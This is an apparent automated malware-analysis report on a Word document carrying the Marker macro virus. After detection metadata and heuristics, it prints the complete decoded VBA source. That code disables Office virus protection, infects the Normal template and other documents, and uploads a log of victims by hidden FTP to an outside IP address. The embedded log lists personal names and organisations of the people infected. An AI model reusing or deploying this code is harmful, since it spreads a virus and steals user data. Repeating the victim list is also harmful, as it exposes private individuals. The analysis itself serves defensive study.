Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb7b3fe57910a4d8…

MALICIOUS

Office (OLE)

103.5 KB Created: 2009-12-03 02:53:00 Authoring application: Microsoft Word 12.0.0 First seen: 2015-09-14
MD5: 85833e43da0622243a2a0c2a53ac1abe SHA-1: f52c0d253ea71885752a794c14dae5d3ad17de07 SHA-256: bb7b3fe57910a4d8fa0c30f4ecc8a9544843774f7018a952fd9100cf342cabdb
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains VBA macros that disable macro protection and attempt to replicate themselves into the document and the Normal.dot template. The script also attempts to write a file to 'c:\hsf????.sys' and a second file 'c:\netldx.vxd' which contains FTP commands to connect to '209.201.88.110' and upload the first file. This indicates a downloader functionality, likely to fetch a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
    Options.VirusProtection = False
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5470 bytes
SHA-256: 4dbffbfd5a34cb909cd459aa7a5ed97a197b7fb700962961622154a123e4ae28
Detection
ClamAV: Doc.Trojan.Marker-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 10:42:25 AM - Wednesday, 23 Dec 1998
' BCBSA
'



' 02:25:08 PM - Wednesday, 23 Dec 1998
' BCBSA
'



' 01:28:09 PM - Tuesday, 5 Jan 1999
' BCBSA
'



' 04:15:42 PM - Tuesday, 12 Jan 1999
' Blue Cross Blue Shield
'



' 05:55:21 PM - Tuesday, 12 Jan 1999
' Blue Cross Blue Shield
'



' 01:33:40 PM - Monday, 18 Jan 1999
' Blue Cross Blue Shield
'



' 06:33:48 PM - Wednesday, 20 Jan 1999
' Thomas Horner
'



' 07:01:05 PM - Monday, 25 Jan 1999
' Mark A. Schiffman
'



' 10:36:01 AM - Tuesday, 2 Feb 1999
' Kendra Lee F. Goins
'



' 11:10:26 AM - Wednesday, 3 Feb 1999
' Tracy D. Hamm
'



' 12:38:03 PM - Monday, 15 Feb 1999
' HolcombK
'



' 12:51:17 PM - Sunday, 7 Mar 1999
' EDWARD L. JONES
'



' 01:58:42 PM - Tuesday, 16 Mar 1999
' N0052108
'



' 10:38:51 AM - Thursday, 18 Mar 1999
' N0002186
'



' 03:33:50 PM - Thursday, 18 Mar 1999
' Lisa Chavez
'



' 10:47:43 AM - Wednesday, 28 Apr 1999
' Harlingen Public Library
'



' 09:43:28 PM - Tuesday, 24 Aug 1999
' Compaq
'



' 02:41:07 PM - Tuesday, 31 Aug 1999
' EDWIN BARRERA
'



' 02:47:16 PM - Friday, 17 Sep 1999
' Community Relations Department
'



' 07:32:52 AM - Thursday, 18 May 2000
' CeCe Chavez
'



' 05:25:19 PM - Thursday, 28 Jun 2001
' SBCISD
'


' 02:28:58 PM - Wednesday, 9 Apr 2003
' SBCISD SBCISD
' P.I.
'



' 08:29:54 AM - Thursday, 28 Aug 2003
' Eva Villagran
' San Benito CISD
'

' 09:12:39 PM - Monday, 16 Oct 2006
' Maria R. Zavala
' SBCISD
'